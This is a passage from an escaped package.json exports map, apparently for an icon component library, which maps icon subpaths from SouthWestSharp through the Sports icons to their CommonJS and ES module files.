    \"import\": \"./SouthWestSharp.mjs\",\n      \"default\": \"./SouthWestSharp.mjs\"\n    },\n    \"./SouthWestTwoTone\": {\n      \"require\": \"./SouthWestTwoTone.js\",\n      \"import\": \"./SouthWestTwoTone.mjs\",\n      \"default\": \"./SouthWestTwoTone.mjs\"\n    },\n    \"./Spa\": {\n      \"require\": \"./Spa.js\",\n      \"import\": \"./Spa.mjs\",\n      \"default\": \"./Spa.mjs\"\n    },\n    \"./SpaOutlined\": {\n      \"require\": \"./SpaOutlined.js\",\n      \"import\": \"./SpaOutlined.mjs\",\n      \"default\": \"./SpaOutlined.mjs\"\n    },\n    \"./SpaRounded\": {\n      \"require\": \"./SpaRounded.js\",\n      \"import\": \"./SpaRounded.mjs\",\n      \"default\": \"./SpaRounded.mjs\"\n    },\n    \"./SpaSharp\": {\n      \"require\": \"./SpaSharp.js\",\n      \"import\": \"./SpaSharp.mjs\",\n      \"default\": \"./SpaSharp.mjs\"\n    },\n    \"./SpaTwoTone\": {\n      \"require\": \"./SpaTwoTone.js\",\n      \"import\": \"./SpaTwoTone.mjs\",\n      \"default\": \"./SpaTwoTone.mjs\"\n    },\n    \"./SpaceBar\": {\n      \"require\": \"./SpaceBar.js\",\n      \"import\": \"./SpaceBar.mjs\",\n      \"default\": \"./SpaceBar.mjs\"\n    },\n    \"./SpaceBarOutlined\": {\n      \"require\": \"./SpaceBarOutlined.js\",\n      \"import\": \"./SpaceBarOutlined.mjs\",\n      \"default\": \"./SpaceBarOutlined.mjs\"\n    },\n    \"./SpaceBarRounded\": {\n      \"require\": \"./SpaceBarRounded.js\",\n      \"import\": \"./SpaceBarRounded.mjs\",\n      \"default\": \"./SpaceBarRounded.mjs\"\n    },\n    \"./SpaceBarSharp\": {\n      \"require\": \"./SpaceBarSharp.js\",\n      \"import\": \"./SpaceBarSharp.mjs\",\n      \"default\": \"./SpaceBarSharp.mjs\"\n    },\n    \"./SpaceBarTwoTone\": {\n      \"require\": \"./SpaceBarTwoTone.js\",\n      \"import\": \"./SpaceBarTwoTone.mjs\",\n      \"default\": \"./SpaceBarTwoTone.mjs\"\n    },\n    \"./SpaceDashboard\": {\n      \"require\": \"./SpaceDashboard.js\",\n      \"import\": \"./SpaceDashboard.mjs\",\n      \"default\": \"./SpaceDashboard.mjs\"\n    },\n    \"./SpaceDashboardOutlined\": {\n      \"require\": \"./SpaceDashboardOutlined.js\",\n      \"import\": \"./SpaceDashboardOutlined.mjs\",\n      \"default\": \"./SpaceDashboardOutlined.mjs\"\n    },\n    \"./SpaceDashboardRounded\": {\n      \"require\": \"./SpaceDashboardRounded.js\",\n      \"import\": \"./SpaceDashboardRounded.mjs\",\n      \"default\": \"./SpaceDashboardRounded.mjs\"\n    },\n    \"./SpaceDashboardSharp\": {\n      \"require\": \"./SpaceDashboardSharp.js\",\n      \"import\": \"./SpaceDashboardSharp.mjs\",\n      \"default\": \"./SpaceDashboardSharp.mjs\"\n    },\n    \"./SpaceDashboardTwoTone\": {\n      \"require\": \"./SpaceDashboardTwoTone.js\",\n      \"import\": \"./SpaceDashboardTwoTone.mjs\",\n      \"default\": \"./SpaceDashboardTwoTone.mjs\"\n    },\n    \"./SpatialAudio\": {\n      \"import\": \"./SpatialAudio.mjs\",\n      \"require\": \"./SpatialAudio.js\",\n      \"default\": \"./SpatialAudio.mjs\"\n    },\n    \"./SpatialAudioOff\": {\n      \"import\": \"./SpatialAudioOff.mjs\",\n      \"require\": \"./SpatialAudioOff.js\",\n      \"default\": \"./SpatialAudioOff.mjs\"\n    },\n    \"./SpatialAudioOffOutlined\": {\n      \"import\": \"./SpatialAudioOffOutlined.mjs\",\n      \"require\": \"./SpatialAudioOffOutlined.js\",\n      \"default\": \"./SpatialAudioOffOutlined.mjs\"\n    },\n    \"./SpatialAudioOffRounded\": {\n      \"import\": \"./SpatialAudioOffRounded.mjs\",\n      \"require\": \"./SpatialAudioOffRounded.js\",\n      \"default\": \"./SpatialAudioOffRounded.mjs\"\n    },\n    \"./SpatialAudioOffSharp\": {\n      \"import\": \"./SpatialAudioOffSharp.mjs\",\n      \"require\": \"./SpatialAudioOffSharp.js\",\n      \"default\": \"./SpatialAudioOffSharp.mjs\"\n    },\n    \"./SpatialAudioOffTwoTone\": {\n      \"import\": \"./SpatialAudioOffTwoTone.mjs\",\n      \"require\": \"./SpatialAudioOffTwoTone.js\",\n      \"default\": \"./SpatialAudioOffTwoTone.mjs\"\n    },\n    \"./SpatialAudioOutlined\": {\n      \"require\": \"./SpatialAudioOutlined.js\",\n      \"import\": \"./SpatialAudioOutlined.mjs\",\n      \"default\": \"./SpatialAudioOutlined.mjs\"\n    },\n    \"./SpatialAudioRounded\": {\n      \"require\": \"./SpatialAudioRounded.js\",\n      \"import\": \"./SpatialAudioRounded.mjs\",\n      \"default\": \"./SpatialAudioRounded.mjs\"\n    },\n    \"./SpatialAudioSharp\": {\n      \"require\": \"./SpatialAudioSharp.js\",\n      \"import\": \"./SpatialAudioSharp.mjs\",\n      \"default\": \"./SpatialAudioSharp.mjs\"\n    },\n    \"./SpatialAudioTwoTone\": {\n      \"require\": \"./SpatialAudioTwoTone.js\",\n      \"import\": \"./SpatialAudioTwoTone.mjs\",\n      \"default\": \"./SpatialAudioTwoTone.mjs\"\n    },\n    \"./SpatialTracking\": {\n      \"require\": \"./SpatialTracking.js\",\n      \"import\": \"./SpatialTracking.mjs\",\n      \"default\": \"./SpatialTracking.mjs\"\n    },\n    \"./SpatialTrackingOutlined\": {\n      \"require\": \"./SpatialTrackingOutlined.js\",\n      \"import\": \"./SpatialTrackingOutlined.mjs\",\n      \"default\": \"./SpatialTrackingOutlined.mjs\"\n    },\n    \"./SpatialTrackingRounded\": {\n      \"require\": \"./SpatialTrackingRounded.js\",\n      \"import\": \"./SpatialTrackingRounded.mjs\",\n      \"default\": \"./SpatialTrackingRounded.mjs\"\n    },\n    \"./SpatialTrackingSharp\": {\n      \"import\": \"./SpatialTrackingSharp.mjs\",\n      \"require\": \"./SpatialTrackingSharp.js\",\n      \"default\": \"./SpatialTrackingSharp.mjs\"\n    },\n    \"./SpatialTrackingTwoTone\": {\n      \"import\": \"./SpatialTrackingTwoTone.mjs\",\n      \"require\": \"./SpatialTrackingTwoTone.js\",\n      \"default\": \"./SpatialTrackingTwoTone.mjs\"\n    },\n    \"./Speaker\": {\n      \"import\": \"./Speaker.mjs\",\n      \"require\": \"./Speaker.js\",\n      \"default\": \"./Speaker.mjs\"\n    },\n    \"./SpeakerGroup\": {\n      \"import\": \"./SpeakerGroup.mjs\",\n      \"require\": \"./SpeakerGroup.js\",\n      \"default\": \"./SpeakerGroup.mjs\"\n    },\n    \"./SpeakerGroupOutlined\": {\n      \"import\": \"./SpeakerGroupOutlined.mjs\",\n      \"require\": \"./SpeakerGroupOutlined.js\",\n      \"default\": \"./SpeakerGroupOutlined.mjs\"\n    },\n    \"./SpeakerGroupRounded\": {\n      \"import\": \"./SpeakerGroupRounded.mjs\",\n      \"require\": \"./SpeakerGroupRounded.js\",\n      \"default\": \"./SpeakerGroupRounded.mjs\"\n    },\n    \"./SpeakerGroupSharp\": {\n      \"import\": \"./SpeakerGroupSharp.mjs\",\n      \"require\": \"./SpeakerGroupSharp.js\",\n      \"default\": \"./SpeakerGroupSharp.mjs\"\n    },\n    \"./SpeakerGroupTwoTone\": {\n      \"require\": \"./SpeakerGroupTwoTone.js\",\n      \"import\": \"./SpeakerGroupTwoTone.mjs\",\n      \"default\": \"./SpeakerGroupTwoTone.mjs\"\n    },\n    \"./SpeakerNotes\": {\n      \"require\": \"./SpeakerNotes.js\",\n      \"import\": \"./SpeakerNotes.mjs\",\n      \"default\": \"./SpeakerNotes.mjs\"\n    },\n    \"./SpeakerNotesOff\": {\n      \"require\": \"./SpeakerNotesOff.js\",\n      \"import\": \"./SpeakerNotesOff.mjs\",\n      \"default\": \"./SpeakerNotesOff.mjs\"\n    },\n    \"./SpeakerNotesOffOutlined\": {\n      \"require\": \"./SpeakerNotesOffOutlined.js\",\n      \"import\": \"./SpeakerNotesOffOutlined.mjs\",\n      \"default\": \"./SpeakerNotesOffOutlined.mjs\"\n    },\n    \"./SpeakerNotesOffRounded\": {\n      \"require\": \"./SpeakerNotesOffRounded.js\",\n      \"import\": \"./SpeakerNotesOffRounded.mjs\",\n      \"default\": \"./SpeakerNotesOffRounded.mjs\"\n    },\n    \"./SpeakerNotesOffSharp\": {\n      \"require\": \"./SpeakerNotesOffSharp.js\",\n      \"import\": \"./SpeakerNotesOffSharp.mjs\",\n      \"default\": \"./SpeakerNotesOffSharp.mjs\"\n    },\n    \"./SpeakerNotesOffTwoTone\": {\n      \"require\": \"./SpeakerNotesOffTwoTone.js\",\n      \"import\": \"./SpeakerNotesOffTwoTone.mjs\",\n      \"default\": \"./SpeakerNotesOffTwoTone.mjs\"\n    },\n    \"./SpeakerNotesOutlined\": {\n      \"require\": \"./SpeakerNotesOutlined.js\",\n      \"import\": \"./SpeakerNotesOutlined.mjs\",\n      \"default\": \"./SpeakerNotesOutlined.mjs\"\n    },\n    \"./SpeakerNotesRounded\": {\n      \"require\": \"./SpeakerNotesRounded.js\",\n      \"import\": \"./SpeakerNotesRounded.mjs\",\n      \"default\": \"./SpeakerNotesRounded.mjs\"\n    },\n    \"./SpeakerNotesSharp\": {\n      \"require\": \"./SpeakerNotesSharp.js\",\n      \"import\": \"./SpeakerNotesSharp.mjs\",\n      \"default\": \"./SpeakerNotesSharp.mjs\"\n    },\n    \"./SpeakerNotesTwoTone\": {\n      \"require\": \"./SpeakerNotesTwoTone.js\",\n      \"import\": \"./SpeakerNotesTwoTone.mjs\",\n      \"default\": \"./SpeakerNotesTwoTone.mjs\"\n    },\n    \"./SpeakerOutlined\": {\n      \"require\": \"./SpeakerOutlined.js\",\n      \"import\": \"./SpeakerOutlined.mjs\",\n      \"default\": \"./SpeakerOutlined.mjs\"\n    },\n    \"./SpeakerPhone\": {\n      \"require\": \"./SpeakerPhone.js\",\n      \"import\": \"./SpeakerPhone.mjs\",\n      \"default\": \"./SpeakerPhone.mjs\"\n    },\n    \"./SpeakerPhoneOutlined\": {\n      \"require\": \"./SpeakerPhoneOutlined.js\",\n      \"import\": \"./SpeakerPhoneOutlined.mjs\",\n      \"default\": \"./SpeakerPhoneOutlined.mjs\"\n    },\n    \"./SpeakerPhoneRounded\": {\n      \"require\": \"./SpeakerPhoneRounded.js\",\n      \"import\": \"./SpeakerPhoneRounded.mjs\",\n      \"default\": \"./SpeakerPhoneRounded.mjs\"\n    },\n    \"./SpeakerPhoneSharp\": {\n      \"import\": \"./SpeakerPhoneSharp.mjs\",\n      \"require\": \"./SpeakerPhoneSharp.js\",\n      \"default\": \"./SpeakerPhoneSharp.mjs\"\n    },\n    \"./SpeakerPhoneTwoTone\": {\n      \"import\": \"./SpeakerPhoneTwoTone.mjs\",\n      \"require\": \"./SpeakerPhoneTwoTone.js\",\n      \"default\": \"./SpeakerPhoneTwoTone.mjs\"\n    },\n    \"./SpeakerRounded\": {\n      \"import\": \"./SpeakerRounded.mjs\",\n      \"require\": \"./SpeakerRounded.js\",\n      \"default\": \"./SpeakerRounded.mjs\"\n    },\n    \"./SpeakerSharp\": {\n      \"import\": \"./SpeakerSharp.mjs\",\n      \"require\": \"./SpeakerSharp.js\",\n      \"default\": \"./SpeakerSharp.mjs\"\n    },\n    \"./SpeakerTwoTone\": {\n      \"import\": \"./SpeakerTwoTone.mjs\",\n      \"require\": \"./SpeakerTwoTone.js\",\n      \"default\": \"./SpeakerTwoTone.mjs\"\n    },\n    \"./Speed\": {\n      \"require\": \"./Speed.js\",\n      \"import\": \"./Speed.mjs\",\n      \"default\": \"./Speed.mjs\"\n    },\n    \"./SpeedOutlined\": {\n      \"require\": \"./SpeedOutlined.js\",\n      \"import\": \"./SpeedOutlined.mjs\",\n      \"default\": \"./SpeedOutlined.mjs\"\n    },\n    \"./SpeedRounded\": {\n      \"require\": \"./SpeedRounded.js\",\n      \"import\": \"./SpeedRounded.mjs\",\n      \"default\": \"./SpeedRounded.mjs\"\n    },\n    \"./SpeedSharp\": {\n      \"require\": \"./SpeedSharp.js\",\n      \"import\": \"./SpeedSharp.mjs\",\n      \"default\": \"./SpeedSharp.mjs\"\n    },\n    \"./SpeedTwoTone\": {\n      \"require\": \"./SpeedTwoTone.js\",\n      \"import\": \"./SpeedTwoTone.mjs\",\n      \"default\": \"./SpeedTwoTone.mjs\"\n    },\n    \"./Spellcheck\": {\n      \"require\": \"./Spellcheck.js\",\n      \"import\": \"./Spellcheck.mjs\",\n      \"default\": \"./Spellcheck.mjs\"\n    },\n    \"./SpellcheckOutlined\": {\n      \"require\": \"./SpellcheckOutlined.js\",\n      \"import\": \"./SpellcheckOutlined.mjs\",\n      \"default\": \"./SpellcheckOutlined.mjs\"\n    },\n    \"./SpellcheckRounded\": {\n      \"require\": \"./SpellcheckRounded.js\",\n      \"import\": \"./SpellcheckRounded.mjs\",\n      \"default\": \"./SpellcheckRounded.mjs\"\n    },\n    \"./SpellcheckSharp\": {\n      \"require\": \"./SpellcheckSharp.js\",\n      \"import\": \"./SpellcheckSharp.mjs\",\n      \"default\": \"./SpellcheckSharp.mjs\"\n    },\n    \"./SpellcheckTwoTone\": {\n      \"require\": \"./SpellcheckTwoTone.js\",\n      \"import\": \"./SpellcheckTwoTone.mjs\",\n      \"default\": \"./SpellcheckTwoTone.mjs\"\n    },\n    \"./Splitscreen\": {\n      \"require\": \"./Splitscreen.js\",\n      \"import\": \"./Splitscreen.mjs\",\n      \"default\": \"./Splitscreen.mjs\"\n    },\n    \"./SplitscreenOutlined\": {\n      \"require\": \"./SplitscreenOutlined.js\",\n      \"import\": \"./SplitscreenOutlined.mjs\",\n      \"default\": \"./SplitscreenOutlined.mjs\"\n    },\n    \"./SplitscreenRounded\": {\n      \"require\": \"./SplitscreenRounded.js\",\n      \"import\": \"./SplitscreenRounded.mjs\",\n      \"default\": \"./SplitscreenRounded.mjs\"\n    },\n    \"./SplitscreenSharp\": {\n      \"require\": \"./SplitscreenSharp.js\",\n      \"import\": \"./SplitscreenSharp.mjs\",\n      \"default\": \"./SplitscreenSharp.mjs\"\n    },\n    \"./SplitscreenTwoTone\": {\n      \"require\": \"./SplitscreenTwoTone.js\",\n      \"import\": \"./SplitscreenTwoTone.mjs\",\n      \"default\": \"./SplitscreenTwoTone.mjs\"\n    },\n    \"./Spoke\": {\n      \"require\": \"./Spoke.js\",\n      \"import\": \"./Spoke.mjs\",\n      \"default\": \"./Spoke.mjs\"\n    },\n    \"./SpokeOutlined\": {\n      \"require\": \"./SpokeOutlined.js\",\n      \"import\": \"./SpokeOutlined.mjs\",\n      \"default\": \"./SpokeOutlined.mjs\"\n    },\n    \"./SpokeRounded\": {\n      \"require\": \"./SpokeRounded.js\",\n      \"import\": \"./SpokeRounded.mjs\",\n      \"default\": \"./SpokeRounded.mjs\"\n    },\n    \"./SpokeSharp\": {\n      \"require\": \"./SpokeSharp.js\",\n      \"import\": \"./SpokeSharp.mjs\",\n      \"default\": \"./SpokeSharp.mjs\"\n    },\n    \"./SpokeTwoTone\": {\n      \"require\": \"./SpokeTwoTone.js\",\n      \"import\": \"./SpokeTwoTone.mjs\",\n      \"default\": \"./SpokeTwoTone.mjs\"\n    },\n    \"./Sports\": {\n      \"require\": \"./Sports.js\",\n      \"import\": \"./Sports.mjs\",\n      \"default\": \"./Sports.mjs\"\n    },\n    \"./SportsBar\": {\n      \"require\": \"./SportsBar.js\",\n      \"import\": \"./SportsBar.mjs\",\n      \"default\": \"./SportsBar.mjs\"\n    },\n    \"./SportsBarOutlined\": {\n      \"require\": \"./SportsBarOutlined.js\",\n      \"import\": \"./SportsBarOutlined.mjs\",\n      \"default\": \"./SportsBarOutlined.mjs\"\n    },\n    \"./SportsBarRounded\": {\n      \"require\": \"./SportsBarRounded.js\",\n      \"import\": \"./SportsBarRounded.mjs\",\n      \"default\": \"./SportsBarRounded.mjs\"\n    },\n    \"./SportsBarSharp\": {\n      \"require\": \"./SportsBarSharp.js\",\n      \"import\": \"./SportsBarSharp.mjs\",\n      \"default\": \"./SportsBarSharp.mjs\"\n    },\n    \"./SportsBarTwoTone\": {\n      \"require\": \"./SportsBarTwoTone.js\",\n      \"import\": \"./SportsBarTwoTone.mjs\",\n      \"default\": \"./SportsBarTwoTone.mjs\"\n    },\n    \"./SportsBaseball\": {\n      \"require\": \"./SportsBaseball.js\",\n      \"import\": \"./SportsBaseball.mjs\",\n      \"default\": \"./SportsBaseball.mjs\"\n    },\n    \"./SportsBaseballOutlined\": {\n      \"require\": \"./SportsBaseballOutlined.js\",\n      \"import\": \"./SportsBaseballOutlined.mjs\",\n      \"default\": \"./SportsBaseballOutlined.mjs\"\n    },\n    \"./SportsBaseballRounded\": {\n      \"require\": \"./SportsBaseballRounded.js\",\n      \"import\": \"./SportsBaseballRounded.mjs\",\n      \"default\": \"./SportsBaseballRounded.mjs\"\n    },\n    \"./SportsBaseballSharp\": {\n      \"require\": \"./SportsBaseballSharp.js\",\n      \"import\": \"./SportsBaseballSharp.mjs\",\n      \"default\": \"./SportsBaseballSharp.mjs\"\n    },\n    \"./SportsBaseballTwoTone\": {\n      \"require\": \"./SportsBaseballTwoTone.js\",\n      \"import\": \"./SportsBaseballTwoTone.mjs\",\n      \"default\": \"./SportsBaseballTwoTone.mjs\"\n    },\n    \"./SportsBasketball\": {\n      \"require\": \"./SportsBasketball.js\",\n      \"import\": \"./SportsBasketball.mjs\",\n      \"default\": \"./SportsBasketball.mjs\"\n    },\n    \"./SportsBasketballOutlined\": {\n      \"require\": \"./SportsBasketballOutlined.js\",\n      \"import\": \"./SportsBasketballOutlined.mjs\",\n      \"default\": \"./SportsBasketballOutlined.mjs\"\n    },\n    \"./SportsBasketballRounded\": {\n      \"require\": \"./SportsBasketballRounded.js\",\n      \"import\": \"./SportsBasketballRounded.mjs\",\n      \"default\": \"./SportsBasketballRounded.mjs\"\n    },\n    \"./SportsBasketballSharp\": {\n      \"require\": \"./SportsBasketballSharp.js\",\n      \"import\": \"./SportsBasketballSharp.mjs\",\n      \"default\": \"./SportsBasketballSharp.mjs\"\n    },\n    \"./SportsBasketballTwoTone\": {\n      \"require\": \"./SportsBasketballTwoTone.js\",\n      \"import\": \"./SportsBasketballTwoTone.mjs\",\n      \"default\": \"./SportsBasketballTwoTone.mjs\"\n    },\n    \"./SportsCricket\": {\n      \"require\": \"./SportsCricket.js\",\n      \"import\": \"./SportsCricket.mjs\",\n      \"default\": \"./SportsCricket.mjs\"\n    },\n    \"./SportsCricketOutlined\": {\n      \"require\": \"./SportsCricketOutlined.js\",\n      \"import\": \"./SportsCricketOutlined.mjs\",\n      \"default\": \"./SportsCricketOutlined.mjs\"\n    },\n    \"./SportsCricketRounded\": {\n      \"require\": \"./SportsCricketRounded.js\",\n      \"import\": \"./SportsCricketRounded.mjs\",\n      \"default\": \"./SportsCricketRounded.mjs\"\n    },\n    \"./SportsCricketSharp\": {\n      \"require\": \"./SportsCricketSharp.js\",\n      \"import\": \"./SportsCricketSharp.mjs\",\n      \"default\": \"./SportsCricketSharp.mjs\"\n    },\n    \"./SportsCricketTwoTone\": {\n      \"require\": \"./SportsCricketTwoTone.js\",\n      \"import\": \"./SportsCricketTwoTone.mjs\",\n      \"default\": \"./SportsCricketTwoTone.mjs\"\n    },\n    \"./SportsEsports\": {\n      \"require\": \"./SportsEsports.js\",\n      \"import\": \"./SportsEsports.mjs\",\n      \"default\": \"./SportsEsports.mjs\"\n    },\n    \"./SportsEsportsOutlined\": {\n      \"require\": \"./SportsEsportsOutlined.js\",\n      \"import\": \"./SportsEsportsOutlined.mjs\",\n      \"default\": \"./SportsEsportsOutlined.mjs\"\n    },\n    \"./SportsEsportsRounded\": {\n      \"require\": \"./SportsEsportsRounded.js\",\n      \"import\": \"./SportsEsportsRounded.mjs\",\n      \"default\": \"./SportsEsportsRounded.mjs\"\n    },\n    \"./SportsEsportsSharp\": {\n      \"require\": \"./SportsEsportsSharp.js\",\n      \"import\": \"./SportsEsportsSharp.mjs\",\n      \"default\": \"./SportsEsportsSharp.mjs\"\n    },\n    \"./SportsEsportsTwoTone\": {\n      \"require\": \"./SportsEsportsTwoTone.js\",\n      \"import\": \"./SportsEsportsTwoTone.mjs\",\n      \"default\": \"./SportsEsportsTwoTone.mjs\"\n    },\n    \"./SportsFootball\": {\n      \"require\": \"./SportsFootball.js\",\n      \"import\": \"./SportsFootball.mjs\",\n      \"default\": \"./SportsFootball.mjs\"\n    },\n    \"./SportsFootballOutlined\": {\n      \"require\": \"./SportsFootballOutlined.js\",\n      \"import\": \"./SportsFootballOutlined.mjs\",\n      \"default\": \"./SportsFootballOutlined.mjs\"\n    },\n    \"./SportsFootballRounded\": {\n      \"require\": \"./SportsFootballRounded.js\",\n      \"import\": \"./SportsFootballRounded.mjs\",\n      \"default\": \"./SportsFootballRounded.mjs\"\n    },\n    \"./SportsFootballSharp\": {\n      \"require\": \"./SportsFootballSharp.js\",\n      \"import\": \"./SportsFootballSharp.mjs\",\n      \"default\": \"./SportsFootballSharp.mjs\"\n    },\n    \"./SportsFootballTwoTone\": {\n      \"require\": \"./SportsFootballTwoTone.js\",\n      \"import\": \"./SportsFootballTwoTone.mjs\",\n      \"default\": \"./SportsFootballTwoTone.mjs\"\n    },\n    \"./SportsGolf\": {\n      \"require\": \"./SportsGolf.js\",\n      \"import\": \"./SportsGolf.mjs\",\n      \"default\": \"./SportsGolf.mjs\"\n    },\n    \"./SportsGolfOutlined\": {\n      \"require\": \"./SportsGolfOutlined.js\",\n      \"import\": \"./SportsGolfOutlined.mjs\",\n      \"default\": \"./SportsGolfOutlined.mjs\"\n    },\n    \"./SportsGolfRounded\": {\n      \"require\": \"./SportsGolfRounded.js\",\n      \"import\": \"./SportsGolfRounded.mjs\",\n      \"default\": \"./SportsGolfRounded.mjs\"\n    },\n    \"./SportsGolfSharp\": {\n      \"require\": \"./SportsGolfSharp.js\",\n      \"import\": \"./SportsGolfSharp.mjs\",\n      \"default\": \"./SportsGolfSharp.mjs\"\n    },\n    \"./SportsGolfTwoTone\": {\n      \"require\": \"./SportsGolfTwoTone.js\",\n      \"import\": \"./SportsGolfTwoTone.mjs\",\n      \"default\": \"./SportsGolfTwoTone.mjs\"\n    },\n    \"./SportsGymnastics\": {\n      \"require\": \"./SportsGymnastics.js\",\n      \"import\": \"./SportsGymnastics.mjs\",\n      \"default\": \"./SportsGymnastics.mjs\"\n    },\n    \"./SportsGymnasticsOutlined\": {\n      \"require\": \"./SportsGymnasticsOutlined.js\",\n      \"import\": \"./SportsGymnasticsOutlined.mjs\",\n      \"default\": \"./SportsGymnasticsOutlined.mjs\"\n    },\n    \"./SportsGymnasticsRounded\": {\n      \"require\": \"./SportsGymnasticsRounded.js\",\n      \"import\": \"./SportsGymnasticsRounded.mjs\",\n      \"default\": \"./SportsGymnasticsRounded.mjs\"\n    },\n    \"./SportsGymnasticsSharp\": {\n      \"require\": \"./SportsGymnasticsSharp.js\",\n      \"import\": \"./SportsGymnasticsSharp.mjs\",\n      \"default\": \"./SportsGymnasticsSharp.mjs\"\n    },\n    \"./SportsGymnasticsTwoTone\": {\n      \"require\": \"./SportsGymnasticsTwoTone.js\",\n      \"import\": \"./SportsGymnasticsTwoTone.mjs\",\n      \"default\": \"./SportsGymnasticsTwoTone.mjs\"\n    },\n    \"./SportsHandball\": {\n      \"require\": \"./SportsHandball.js\",\n      \"import\": \"./SportsHandball.mjs\",\n      \"default\": \"./SportsHandball.mjs\"\n    },\n    \"./SportsHandballOutlined\": {\n      \"require\": \"./SportsHandballOutlined.js\",\n      \"import\": \"./SportsHandballOutlined.mjs\",\n      \"default\": \"./SportsHandballOutlined.mjs\"\n    },\n    \"./SportsHandballRounded\": {\n      \"require\": \"./SportsHandballRounded.js\",\n      \"import\": \"./SportsHandballRounded.mjs\",\n      \"default\": \"./SportsHandballRounded.mjs\"\n    },\n    \"./SportsHandballSharp\": {\n      \"require\": \"./SportsHandballSharp.js\",\n      \"import\": \"./SportsHandballSharp.mjs\",\n      \"default\": \"./SportsHandballSharp.mjs\"\n    },\n    \"./SportsHandballTwoTone\": {\n      \"require\": \"./SportsHandballTwoTone.js\",\n      \"import\": \"./SportsHandballTwoTone.mjs\",\n      \"default\": \"./SportsHandballTwoTone.mjs\"\n    },\n    \"./SportsHockey\": {\n      \"require\": \"./SportsHockey.js\",\n      \"import\": \"./SportsHockey.mjs\",\n      \"default\": \"./SportsHockey.mjs\"\n    },\n    \"./SportsHockeyOutlined\": {\n      \"require\": \"./SportsHockeyOutlined.js\",\n      \"import\": \"./SportsHockeyOutlined.mjs\",\n      \"default\": \"./SportsHockeyOutlined.mjs\"\n    },\n    \"./SportsHockeyRounded\": {\n      \"require\": \"./SportsHockeyRounded.js\",\n      \"import\": \"./SportsHockeyRounded.mjs\",\n      \"default\": \"./SportsHockeyRounded.mjs\"\n    },\n    \"./SportsHockeySharp\": {\n      \"require\": \"./SportsHockeySharp.js\",\n      \"import\": \"./SportsHockeySharp.mjs\",\n      \"default\": \"./SportsHockeySharp.mjs\"\n    },\n    \"./SportsHockeyTwoTone\": {\n      \"require\": \"./SportsHockeyTwoTone.js\",\n      \"import\": \"./SportsHockeyTwoTone.mjs\",\n      \"default\": \"./SportsHockeyTwoTone.mjs\"\n    },\n    \"./SportsKabaddi\": {\n      \"import\": \"./SportsKabaddi.mjs\",\n      \"require\": \"./SportsKabaddi.js\",\n      \"default\": \"./SportsKabaddi.mjs\"\n    },\n    \"./SportsKabaddiOutlined\": {\n      \"import\": \"./SportsKabaddiOutlined.mjs\",\n      \"require\": \"./SportsKabaddiOutlined.js\",\n      \"default\": \"./SportsKabaddiOutlined.mjs\"\n    },\n    \"./SportsKabaddiRounded\": {\n      \"import\": \"./SportsKabaddiRounded.mjs\",\n      \"require\": \"./SportsKabaddiRounded.js\",\n      \"default\": \"./SportsKabaddiRounded.mjs\"\n    },\n    \"./SportsKabaddiSharp\": {\n      \"import\": \"./SportsKabaddiSharp.mjs\",\n      \"require\": \"./SportsKabaddiSharp.js\",\n      \"default\": \"./SportsKabaddiSharp.mjs\"\n    },\n    \"./SportsKabaddiTwoTone\": {\n      \"import\": \"./SportsKabaddiTwoTone.mjs\",\n      \"require\": \"./SportsKabaddiTwoTone.js\",\n      \"default\": \"./SportsKabaddiTwoTone.mjs\"\n    },\n    \"./SportsMartialArts\": {\n      \"import\": \"./SportsMartialArts.mjs\",\n      \"require\": \"./SportsMartialArts.js\",\n      \"default\": \"./SportsMartialArts.mjs\"\n    },\n    \"./SportsMartialArtsOutlined\": {\n      \"import\": \"./SportsMartialArtsOutlined.mjs\",\n      \"require\": \"./SportsMartialArtsOutlined.js\",\n      \"default\": \"./SportsMartialArtsOutlined.mjs\"\n    },\n    \"./SportsMartialArtsRounded\": {\n      \"import\": \"./SportsMartialArtsRounded.mjs\",\n      \"require\": \"./SportsMartialArtsRounded.js\",\n      \"default\": \"./SportsMartialArtsRounded.mjs\"\n    },\n    \"./SportsMartialArtsSharp\": {\n      \"import\": \"./SportsMartialArtsSharp.mjs\",\n      \"require\": \"./SportsMartialArtsSharp.js\",\n      \"default\": \"./SportsMartialArtsSharp.mjs\"\n    },\n    \"./SportsMartialArtsTwoTone\": {\n      \"import\": \"./SportsMartialArtsTwoTone.mjs\",\n      \"require\": \"./SportsMartialArtsTwoTone.js\",\n      \"default\": \"./SportsMartialArtsTwoTone.mjs\"\n    },\n    \"./SportsMma\": {\n      \"import\": \"./SportsMma.mjs\",\n      \"require\": \"./SportsMma.js\",\n      \"default\": \"./SportsMma.mjs\"\n    },\n    \"./SportsMmaOutlined\": {\n      \"import\": \"./SportsMmaOutlined.mjs\",\n      \"require\": \"./SportsMmaOutlined.js\",\n      \"default\": \"./SportsMmaOutlined.mjs\"\n    },\n    \"./SportsMmaRounded\": {\n      \"import\": \"./SportsMmaRounded.mjs\",\n      \"require\": \"./SportsMmaRounded.js\",\n      \"default\": \"./SportsMmaRounded.mjs\"\n    },\n    \"./SportsMmaSharp\": {\n      \"import\": \"./SportsMmaSharp.mjs\",\n      \"require\": \"./SportsMmaSharp.js\",\n      \"default\": \"./SportsMmaSharp.mjs\"\n    },\n    \"./SportsMmaTwoTone\": {\n      \"import\": \"./SportsMmaTwoTone.mjs\",\n      \"require\": \"./SportsMmaTwoTone.js\",\n      \"default\": \"./SportsMmaTwoTone.mjs\"\n    },\n    \"./SportsMotorsports\": {\n      \"require\": \"./SportsMotorsports.js\",\n      \"import\": \"./SportsMotorsports.mjs\",\n      \"default\": \"./SportsMotorsports.mjs\"\n    },\n    \"./SportsMotorsportsOutlined\": {\n      \"require\": \"./SportsMotorsportsOutlined.js\",\n      \"import\": \"./SportsMotorsportsOutlined.mjs\",\n      \"default\": \"./SportsMotorsportsOutlined.mjs\"\n    },\n    \"./SportsMotorsportsRounded\": {\n      \"require\": \"./SportsMotorsportsRounded.js\",\n      \"import\": \"./SportsMotorsportsRounded.mjs\",\n      \"default\": \"./SportsMotorsportsRounded.mjs\"\n    },\n    \"./SportsMotorsportsSharp\": {\n      \"require\": \"./SportsMotorsportsSharp.js\",\n      \"import\": \"./SportsMotorsportsSharp.mjs\",\n      \"default\": \"./SportsMotorsportsSharp.mjs\"\n    },\n    \"./SportsMotorsportsTwoTone\": {\n      \"require\": \"./SportsMotorsportsTwoTone.js\",\n      \"import\": \"./SportsMotorsportsTwoTone.mjs\",\n      \"default\": \"./SportsMotorsportsTwoTone.mjs\"\n    },\n    \"./SportsOutlined\": {\n      \"require\": \"./SportsOutlined.js\",\n      \"import\": \"./SportsOutlined.mjs\",\n      \"default\": \"./SportsOutlined.mjs\"\n    },\n    \"./SportsRounded\": 